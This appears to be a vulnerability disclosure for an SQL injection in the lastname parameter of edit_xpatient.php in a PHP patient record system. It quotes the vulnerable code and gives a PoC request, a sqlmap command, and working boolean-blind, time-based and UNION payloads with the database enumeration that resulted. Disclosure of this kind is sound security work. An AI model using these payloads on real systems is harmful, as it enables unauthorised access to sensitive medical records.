

PATIENT_RECORD_MANAGEMENT_SYSTEM_IN_PHP has sql injection indental _edit_xpatient.php

supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google_vignette

Vulnerability parameter

/edit_xpatient.php

describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in edit_xpatient.php, The parameters that can be controlled are as follows: \$lastname. This function executesthe lastname parameter into the SQL statement without any restrictions. A malicious attacker couldexploit this vulnerability to obtain sensitive information in the server database

Code analysis

When the value of \$lastname parameter is obtained in dental _edit_xpatient.php , it will be concatenated intoSQL statements and executed, which has a SQL injection vulnerability.

```
D:\> phpstudy_pro > WWW > hcpsms > edit_xpatient.php
48      <a style = "float:right; margin-top:-4px;" href = "xray.php" class = "btn btn-info"><span class = "glyphicon glyphicon-hand-right"></span> BACK
49      </div>
50      <?php
51          $GET['id'];
52          $GET['lastname'];
53          $conn = new mysqli("localhost", "root", "123456", "hcpsms") or die(mysqli_error());
54          $query = $conn->query("SELECT * FROM 'itr' WHERE 'itr_no' = '$GET[id]' && 'lastname' = '$GET[lastname]'" ) or die(mysqli_error());
55          $fetch = $query->fetch_array();
56      ?>
```

POC

GET /edit_xpatient.php?lastname=1* HTTP/1.1

Content-Type: application/json

Host: hcpsms

Result

```
python3 .\sqlmap.py -u http://hcpms/edit_xpatient.php?lastname=1 -p lastname --dbms=MySQL --dbs
```

got a 302 redirect to 'http://hcpms/index.php'. Do you want to follow? [Y/n] n

```
sqlmap identified the following injection point(s) with a total of 213 HTTP(s) requests:
---
Parameter: lastname (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: lastname=1' RLIKE (SELECT (CASE WHEN (3146=3146) THEN 1 ELSE 0x28 END))-- eUZl
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: lastname=1' AND (SELECT 7407 FROM (SELECT(SLEEP(5))))zejh-- Zbpp
  Type: UNION query
  Title: MySQL UNION query (NULL) - 17 columns
  Payload: lastname=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a707a71,0x436d775473666879747a734f66
4b7055764244435857454a67535a754e5774774c654f715066654b,0x716a716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[18:53:25] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP, PHP 5.6.9
back-end DBMS: MySQL >= 5.0.12
[18:53:26] [INFO] fetching database names
available databases [9]:
[*] gxlcms
[*] hcpms
[*] information_schema
[*] mces
[*] mutillidae
[*] mysql
[*] performance_schema
[*] qdbcrm
[*] sys
```